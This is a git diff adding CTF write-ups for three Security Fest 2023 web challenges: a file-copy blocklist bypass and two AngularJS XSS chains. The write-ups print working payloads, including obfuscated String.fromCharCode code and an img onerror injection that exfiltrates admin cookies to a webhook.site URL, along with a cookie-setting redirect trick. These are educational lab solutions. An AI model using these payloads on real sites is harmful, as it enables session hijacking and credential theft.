feat: added Security Fest CTF 2023
|
@ -48,6 +48,7 @@ List of CTF events that i have joined before
|
|||
| DeadSec CTF 2023 | Yes | [Link](/DeadSec%20CTF%202023/) |
|
||||
| BYUCTF 2023 | Yes | [Link](/BYUCTF%202023/) |
|
||||
| Grey CTF 2023 Qualifiers | No | - |
|
||||
| Security Fest CTF 2023 | Yes | [Link](/Security%20Fest%20CTF%202023/) |
|
||||
|
||||
### Local Events
|
||||
| Event Name | Writeup Available? | Writeup Link |
|
||||
|
|
|
@ -0,0 +1,10 @@
|
|||
# Security Fest CTF 2023
|
||||
CTF writeup for Security Fest CTF 2023. I took part in this CTF competition with the TCP1P team, and got 6th place out of 272 teams
|
||||
|
||||
Thanks to the TCP1P team especially @dimasma0305 and @yuuna
|
||||
|
||||
| Category | Challenge |
|
||||
| --- | --- |
|
||||
| Web | [flagcopy](/Security%20Fest%20CTF%202023/flagcopy/)
|
||||
| Web | [legacy](/Security%20Fest%20CTF%202023/legacy/)
|
||||
| Web | [legacyversion2](/Security%20Fest%20CTF%202023/legacyversion2/)
|
|
@ -0,0 +1,82 @@
|
|||
# flagcopy
|
||||
> Jack was a self-proclaimed pirate who believed that information wanted to be free
|
||||
|
||||
## About the Challenge
|
||||
We have been given a website that have a functionality the file called `flag.php` to new destination
|
||||
|
||||
![preview](images/preview.png)
|
||||
|
||||
If we press the `Source Code` button, we will be given a source code of `copy.php`
|
||||
|
||||
```php
|
||||
<?php
|
||||
|
||||
// Make sure we have the destination filename
|
||||
if(!isset($_GET['dest'])) {
|
||||
header('Content-Type: text/plain');
|
||||
header('Refresh: 2;url=..'); // Cool pirates don't use Location, docs: https://web.archive.org/web/20040811213204/http://devedge.netscape.com/library/manuals/1998/htmlguide/tags3.html
|
||||
echo "error! use: ?dest=<file>";
|
||||
exit(0);
|
||||
}
|
||||
$dst=$_GET['dest'];
|
||||
|
||||
// Prevent hackspettar
|
||||
$disallow = Array(
|
||||
|
||||
// Bad files
|
||||
'index.php', 'copy.php', 'flag.php',
|
||||
|
||||
// Prevent traversals
|
||||
'..', './', '.\\',
|
||||
|
||||
// Remove known bad characters
|
||||
'?','#','&', "\0",
|
||||
|
||||
// Disallow bad protocols
|
||||
'http://','https://','ftp://','zip://','rar://','expect://','phar://','zlib://','glob://','ssh2://','ogg://',
|
||||
|
||||
// TODO: Improve security
|
||||
);
|
||||
foreach($disallow as $word) {
|
||||
if (stripos($dst,$word) !== false) {
|
||||
echo "hacker attack detected!!1!";
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
|
||||
// Copy the flag to it's new location
|
||||
var_dump(copy('flag.php',$dst));
|
||||
?>
|
||||
```
|
||||
|
||||
So we can control the destination file
|
||||
|
||||
## How to Solve?
|
||||
There are several levels that we need to pass in order to obtain the flag, and for these challenges, I am using the same payload for each level.
|
||||
|
||||
```
|
||||
copy.php?dest=/var/www/html/dappppppppppppppp.txt
|
||||
```
|
||||
|
||||
If I set `/var/www/html/dappppppppppppppp.txt`, the file called `flag.php` will be copied into `/var/www/html/dappppppppppppppp.txt`. And we need to access http://flagcopy-1.ctf.hackaplaneten.se/dappppppppppppppp.txt to check the content of `flag.php`
|
||||
|
||||
Repeat that steps until you obtain the flag. Here is the link of each level
|
||||
|
||||
* Level 1
|
||||
```
|
||||
http://flagcopy-1.ctf.hackaplaneten.se/uploads/copy.php?dest=/var/www/html/dappppppppppppppp.txt
|
||||
```
|
||||
* Level 2
|
||||
```
|
||||
http://flagcopy-1.ctf.hackaplaneten.se/flag-copy-final/uploads/copy.php?dest=/var/www/html/dappppppppppppppp.txt
|
||||
```
|
||||
* Level 3
|
||||
```
|
||||
http://flagcopy-1.ctf.hackaplaneten.se/flag-copy-final-pinky-promise-seriously/uploads/copy.php?dest=/var/www/html/dappppppppppppppp.txt
|
||||
```
|
||||
|
||||
![flag](images/flag.png)
|
||||
|
||||
```
|
||||
SECFEST{@nt1p1ratByr0n_w0ulD_b3_pr0uD}
|
||||
```
|
After Width: | Height: | Size: 12 KiB |
After Width: | Height: | Size: 39 KiB |
|
@ -0,0 +1,87 @@
|
|||
# legacy
|
||||
> Just because it's legacy doesn't mean its not on the internet
|
||||
|
||||
## About the Challenge
|
||||
We got 2 websites, first the admin bot. So we need to input our URL that contains XSS payload in order to obtain the flag in cookie's admin
|
||||
|
||||
![preview_admin](images/preview_admin.png)
|
||||
|
||||
And another website that using AngularJS
|
||||
|
||||
![preview_website](images/preview_website.png)
|
||||
|
||||
## How to Solve?
|
||||
If we check the source code by pressing `Ctrl + U` there is a custom JS code called `helloworld.js`. Here is the content of the JS file
|
||||
|
||||
```javascript
|
||||
document.cookie="dummy=legacy1";
|
||||
var myApp = angular.module('helloworld', ['ui.router']);
|
||||
|
||||
myApp.config(function($stateProvider) {
|
||||
var helloState = {
|
||||
name: 'hello',
|
||||
url: '/hello',
|
||||
template: '<h3>hello world!</h3>'
|
||||
}
|
||||
|
||||
var aboutState = {
|
||||
name: 'about',
|
||||
url: '/about',
|
||||
template: '<h3>Its the UI-Router hello world app!</h3>'
|
||||
}
|
||||
|
||||
var indexState = {
|
||||
name: 'index',
|
||||
url: '/',
|
||||
template: '<h3>Index</h3>'
|
||||
}
|
||||
|
||||
template = document.createElement("span")
|
||||
template.innerHTML = "<h3>404</h3>path not found: "
|
||||
sanitizer = document.createElement("code")
|
||||
sanitizer.innerText = document.location
|
||||
template.appendChild(sanitizer)
|
||||
var f04State = {
|
||||
name: '404',
|
||||
url: '/404',
|
||||
template: template.innerHTML
|
||||
};
|
||||
|
||||
$stateProvider.state(helloState);
|
||||
$stateProvider.state(aboutState);
|
||||
$stateProvider.state(indexState);
|
||||
$stateProvider.state(f04State);
|
||||
});
|
||||
|
||||
myApp.config(["$locationProvider","$urlRouterProvider", function($locationProvider,$urlRouterProvider) {
|
||||
$locationProvider.html5Mode(true);
|
||||
console.log($urlRouterProvider);
|
||||
$urlRouterProvider.otherwise('/404');
|
||||
}]);
|
||||
```
|
||||
|
||||
As you can see, we can input the payload in the 404 page. So Im using this angular payload to solve this chall (Im using [Portswigger cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-reflected--1.0.1---1.1.5-(shorter)) as a reference)
|
||||
|
||||
```angular
|
||||
{{$on.constructor('alert(1)')()}}
|
||||
```
|
||||
|
||||
And in order to obtain the flag, we need to change the payload like this
|
||||
|
||||
```angular
|
||||
{{$on.constructor('eval(String.fromCharCode(118,97,114,32,105,61,110,101,119,32,73,109,97,103,101,40,41,59,32,105,46,115,114,99,61,34,104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,52,55,99,50,99,100,99,57,45,49,50,51,51,45,52,97,99,56,45,56,101,56,98,45,53,53,101,102,101,48,54,97,101,98,50,99,47,63,99,111,111,107,105,101,61,34,43,98,116,111,97,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59))')()}}
|
||||
```
|
||||
|
||||
At first, I was using a normal payload to send the cookie to my webhook. However, the website kept encoding my payload. As a result, I decided to use `String.fromCharCode` to address this issue. Here is the final URL structure that I came up with:
|
||||
|
||||
```
|
||||
http://legacy-1.ctf.hackaplaneten.se:8001/awikwok#!{{$on.constructor('eval(String.fromCharCode(118,97,114,32,105,61,110,101,119,32,73,109,97,103,101,40,41,59,32,105,46,115,114,99,61,34,104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,52,55,99,50,99,100,99,57,45,49,50,51,51,45,52,97,99,56,45,56,101,56,98,45,53,53,101,102,101,48,54,97,101,98,50,99,47,63,99,111,111,107,105,101,61,34,43,98,116,111,97,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59))')()}}
|
||||
```
|
||||
|
||||
Check your webhook, and you will see base64 encoded msg in `cookie` parameter
|
||||
|
||||
![flag](images/flag.png)
|
||||
|
||||
```
|
||||
SECFEST{L3g4cy_l3@k_w1th_0ld_cOd3_Tw3Ak}
|
||||
```
|
After Width: | Height: | Size: 60 KiB |
After Width: | Height: | Size: 255 KiB |
After Width: | Height: | Size: 9.2 KiB |
|
@ -0,0 +1,111 @@
|
|||
# legacyversion2
|
||||
> Want some more legacy after solving legacy1?
|
||||
|
||||
## About the Challenge
|
||||
We got 2 websites, first the admin bot. So we need to input our URL that contains XSS payload in order to obtain the flag in cookie's admin. But we need to use a website from `legacy` chall. So the idea here, we need to redirect the admin to the `legacyversion2` and exploit XSS there.
|
||||
|
||||
![preview_admin](images/preview_admin.png)
|
||||
|
||||
And another website that using AngularJS. This website has a functionality to change the language from english to deutsch if we press website `German` or `English` button
|
||||
|
||||
![preview_website](images/preview_website.png)
|
||||
|
||||
## How to Solve?
|
||||
If we check the source code by pressing `Ctrl + U` there is a custom JS code called `script.js`. Here is the content of the JS file
|
||||
|
||||
```javascript
|
||||
document.cookie="dummy=legacy1";
|
||||
var app = angular.module('myApp', ['ngCookies', 'pascalprecht.translate']);
|
||||
|
||||
app.config(['$translateProvider', function ($translateProvider) {
|
||||
$translateProvider.translations('en');
|
||||
// configures staticFilesLoader
|
||||
$translateProvider.useStaticFilesLoader({
|
||||
prefix: '',
|
||||
suffix: '.json'
|
||||
});
|
||||
// load 'en' table on startup
|
||||
$translateProvider.preferredLanguage('en');
|
||||
$translateProvider.useCookieStorage();
|
||||
|
||||
}]);
|
||||
|
||||
app.controller('Ctrl', ['$translate', '$scope', function ($translate, $scope) {
|
||||
|
||||
$scope.changeLanguage = function (langKey) {
|
||||
$translate.use(langKey);
|
||||
};
|
||||
}]);
|
||||
```
|
||||
|
||||
This code sets up an AngularJS application with translation capabilities, allowing the user to switch between languages and store their language preference in a cookie. Now if we check the cookie on this website, you will see there are 2 cookies called `dummy` and `NG_TRANSLATE_LANG_KEY`
|
||||
|
||||
![cookie](images/cookie.png)
|
||||
|
||||
And then when I check the HTTP request when changing the language from english to germany, there is a request like this
|
||||
|
||||
```
|
||||
GET /demo/de.json HTTP/1.1
|
||||
Host: legacyversion2-1.ctf.hackaplaneten.se:8001
|
||||
Accept: application/json, text/plain, */*
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: en-US,en;q=0.9,id;q=0.8
|
||||
```
|
||||
|
||||
After changing the cookie from en to de, I attempted to manually modify the cookie value to something random, such as dapppp. And here is the website looks like.
|
||||
|
||||
![experiment](images/experiment.png)
|
||||
|
||||
Looks broken right? And if we check the network tab on my browser, another request was sent with the following format:
|
||||
|
||||
```
|
||||
GET /demo/dapppp.json HTTP/1.1
|
||||
Host: legacyversion2-1.ctf.hackaplaneten.se:8001
|
||||
Accept: application/json, text/plain, */*
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: en-US,en;q=0.9,id;q=0.8
|
||||
```
|
||||
|
||||
Soooo, what if we input my website that have a JSON file that contains the payload?
|
||||
|
||||
```json
|
||||
{
|
||||
"HEADLINE": "What an awesome module!",
|
||||
"PARAGRAPH": "Srsly!",
|
||||
"PASSED_AS_TEXT": "Hey there! I'm passed as text value!",
|
||||
"PASSED_AS_ATTRIBUTE": "I'm passed as attribute value, cool ha?",
|
||||
"PASSED_AS_INTERPOLATION": "Beginners! I'm interpolated!",
|
||||
"VARIABLE_REPLACEMENT": "Hi <img src=x onerror=\"var i=new Image(); i.src='https://webhook.site/47c2cdc9-1233-4ac8-8e8b-55efe06aeb2c/?cookie='+btoa(document.cookie);\">",
|
||||
"BUTTON_LANG_DE": "German",
|
||||
"BUTTON_LANG_EN": "English"
|
||||
}
|
||||
```
|
||||
|
||||
I put this payload on Github Gist and then I changed the `NG_TRANSLATE_LANG_KEY` cookie value to `https%3A%2F%2Fgist.githubusercontent.com%2Fdaffainfo%2Fd8cbd68a5b429f7423040b10d135dd16%2Fraw%2F876f863f560a6f75038eccf7ad242fefc5cad1dd%2Fa`
|
||||
|
||||
And luckily my payload was working
|
||||
|
||||
![testing_xss](images/testing_xss.png)
|
||||
|
||||
Now we need to redirect the admin from `legacy` to `legacyversion2` website and we need to set the cookie to Gist Github link. But the problem is, how we can set the `document.cookie` between another subdomain?
|
||||
|
||||
The answer is "It's still possible". I was told by @dimasmaulana that we can share cookie between subdomain and he gave me this [reference](https://stackoverflow.com/questions/18492576/share-cookies-between-subdomain-and-domain) to read.
|
||||
|
||||
Here is the payload that I used to solve this chall
|
||||
```
|
||||
document.cookie="NG_TRANSLATE_LANG_KEY=https%3A%2F%2Fgist.githubusercontent.com%2Fdaffainfo%2Fd8cbd68a5b429f7423040b10d135dd16%2Fraw%2F876f863f560a6f75038eccf7ad242fefc5cad1dd%2Fa;domain=ctf.hackaplaneten.se";window.location.replace("http://legacyversion2-1.ctf.hackaplaneten.se:8001/");window.location.replace("http://legacyversion2-1.ctf.hackaplaneten.se:8001/demo/");
|
||||
```
|
||||
|
||||
So we set the cookie first on `legacy1` and dont forget to add `;domain=ctf.hackaplaneten.se` because we need to set the cookie to another subdomain. And then redirect admin to `legacyversion2` webiste. And here is the final payload that I used to solve this chall
|
||||
|
||||
```
|
||||
http://legacy-1.ctf.hackaplaneten.se:8001/awikwok#!{{$on.constructor('eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,34,78,71,95,84,82,65,78,83,76,65,84,69,95,76,65,78,71,95,75,69,89,61,104,116,116,112,115,37,51,65,37,50,70,37,50,70,103,105,115,116,46,103,105,116,104,117,98,117,115,101,114,99,111,110,116,101,110,116,46,99,111,109,37,50,70,100,97,102,102,97,105,110,102,111,37,50,70,100,56,99,98,100,54,56,97,53,98,52,50,57,102,55,52,50,51,48,52,48,98,49,48,100,49,51,53,100,100,49,54,37,50,70,114,97,119,37,50,70,56,55,54,102,56,54,51,102,53,54,48,97,54,102,55,53,48,51,56,101,99,99,102,55,97,100,50,52,50,102,101,102,99,53,99,97,100,49,100,100,37,50,70,97,59,100,111,109,97,105,110,61,99,116,102,46,104,97,99,107,97,112,108,97,110,101,116,101,110,46,115,101,34,59,119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,114,101,112,108,97,99,101,40,34,104,116,116,112,58,47,47,108,101,103,97,99,121,118,101,114,115,105,111,110,50,45,49,46,99,116,102,46,104,97,99,107,97,112,108,97,110,101,116,101,110,46,115,101,58,56,48,48,49,47,34,41,59,119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,114,101,112,108,97,99,101,40,34,104,116,116,112,58,47,47,108,101,103,97,99,121,118,101,114,115,105,111,110,50,45,49,46,99,116,102,46,104,97,99,107,97,112,108,97,110,101,116,101,110,46,115,101,58,56,48,48,49,47,100,101,109,111,47,34,41,59))')()}}
|
||||
```
|
||||
|
||||
Send the URL to admin bot, and check the webhook
|
||||
|
||||
![flag](images/flag.png)
|
||||
|
||||
```
|
||||
SECFEST{L3g@cy_rem3mb0rz_0r_m@yb3_n0t}
|
||||
```
|
After Width: | Height: | Size: 17 KiB |
After Width: | Height: | Size: 22 KiB |
After Width: | Height: | Size: 98 KiB |
After Width: | Height: | Size: 248 KiB |
After Width: | Height: | Size: 31 KiB |
After Width: | Height: | Size: 69 KiB |